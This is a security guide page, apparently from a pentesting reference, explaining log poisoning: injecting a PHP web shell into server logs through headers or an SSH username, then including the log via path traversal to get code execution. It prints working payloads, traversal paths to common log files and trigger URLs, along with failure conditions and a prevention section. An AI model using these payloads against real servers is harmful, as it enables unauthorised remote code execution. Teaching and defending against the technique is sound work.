Skip to content
highCVSS 8.1CWE-98A03:2021 – Injection

Log Poisoning

A read primitive plus a file whose contents you control is code execution. Write PHP into a log through a request header, then include the log.

The shape of it

An inclusion bug that only reads local files is not code execution — unless one of those local files contains bytes you chose.

Web servers write request data to access logs. Some of that data is entirely attacker-controlled: the User-Agent, the Referer, the request line itself. Put PHP source in one of those, and the log file now contains PHP source. Include the log and it runs.

Neither half is the finding. The read primitive alone is disclosure. The write primitive alone is a log with junk in it. Together they are RCE, and this is the classic worked example of why chained primitives are rated on the chain rather than on the parts.

Writing the payload

HTTP
# The User-Agent is logged verbatim by the default Apache and nginx formats.
GET / HTTP/1.1
Host: target.example
User-Agent: <?php system($_GET['cmd']); ?>

# The request line also lands in the log, which matters when the User-Agent
# is sanitised and the path is not. Note the payload has to survive URL
# parsing to get there.
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
Host: target.example

# Referer is a third option, logged by the combined format.
GET / HTTP/1.1
Host: target.example
Referer: <?php system($_GET['cmd']); ?>

# Keep it on one line. A newline in a header is not going to survive, and
# PHP does not need one — <?php system($_GET['cmd']); ?> is complete.

Including the log

Payloadparameter values
# Debian/Ubuntu Apache
../../../../var/log/apache2/access.log
../../../../var/log/apache2/error.log

# RHEL/CentOS Apache
../../../../var/log/httpd/access_log
../../../../var/log/httpd/error_log

# nginx
../../../../var/log/nginx/access.log
../../../../var/log/nginx/error.log

# PHP-FPM's own log — reachable when the web server's logs are not, and it
# records the request URI on errors.
../../../../var/log/php-fpm/error.log
../../../../var/log/php8.3-fpm.log

# Other services that log attacker-controlled strings:
../../../../var/log/auth.log        <- the SSH username is logged on failure
../../../../var/log/mail.log        <- SMTP MAIL FROM
../../../../var/log/vsftpd.log      <- FTP username

# Then trigger:
#   ?page=../../../../var/log/apache2/access.log&cmd=id

The SSH variant

Bash
# sshd logs the attempted username on a failed authentication. The username
# is entirely attacker-controlled and is written to auth.log verbatim.
ssh '<?php system($_GET["cmd"]); ?>@target.example'

# Quote carefully — the shell will otherwise interpret most of that. The
# safest form is to put it in a variable first:
u='<?php system($_GET["cmd"]); ?>'
ssh "$u@target.example"

# Then: ?page=../../../../var/log/auth.log&cmd=id
#
# Worth knowing because auth.log is sometimes readable when the web logs
# are not — different package, different default mode. It is also much
# smaller than an access log on a busy host, which matters (see below).

Why this fails more often than it works

The technique is famous and its preconditions are frequently absent. In order of how often each one stops you:

Permissions. On Debian and Ubuntu, /var/log/apache2 is mode 0750, owned root:adm. The www-data worker is not in adm and cannot read it. This kills the technique outright on a default install of the most common distribution, and it is the reason this guide is rated AC:H.

Log size. A production access log is hundreds of megabytes. include() will parse all of it, and the request will time out or exhaust memory before reaching your payload. Your entry is also at the end, which is the worst possible position. auth.log and FPM's log are much smaller and are worth trying first for this reason alone.

Sanitisation. nginx escapes non-printable characters and, in some builds, quotes in logged values. Apache's %{User-Agent}i writes it raw. Test with a benign marker before assuming your payload landed intact.

Logs elsewhere. Containerised deployments overwhelmingly log to stdout, which goes to the container runtime rather than to a file. There is nothing on the filesystem to include. This is now the single most common reason the technique is unavailable.

Log rotation can move the file out from under you mid-engagement.

Check readability first with a plain read before spending time on the write. One request for ../../../../var/log/apache2/access.log tells you whether the rest of the technique is worth attempting.

Verifying it landed

Do this in two steps, because a failure at either end looks identical from outside.

  1. Send a benign marker as the User-Agent — something like rfi-page-marker-8842, with no PHP tags at all.
  2. Read the log and look for the marker. If it is there, both halves work and you know the log is readable, the marker survived sanitisation, and the file is small enough to reach the end of.

Only then send the payload. Doing it the other way round leaves you unable to tell whether the log is unreadable, the payload was escaped, the file was too large, or the sink does not execute.

A marker with a random suffix is also how you find your entry in a log with thousands of others.

Prevention

The real fix is upstream: an inclusion sink that cannot be pointed at /var/log — see Defense in Depth. The log is not the vulnerability; it is a file that happens to contain attacker input, and there will always be another one.

That said, defence in depth here is cheap and worth having:

  • open_basedir confines the include to the app tree, and /var/log is not in it. Genuinely effective against this specific chain.
  • Keep log permissions restrictive. root:adm 0640 is the Debian default for good reason. Do not loosen it so a monitoring agent can read it — give the agent group membership instead.
  • Log to stdout. In a container this is already the norm, and it removes the file entirely.
  • Do not sanitise logged input as a security control. Escaping the User-Agent makes this one payload harder and does nothing about the sink. Fix the sink.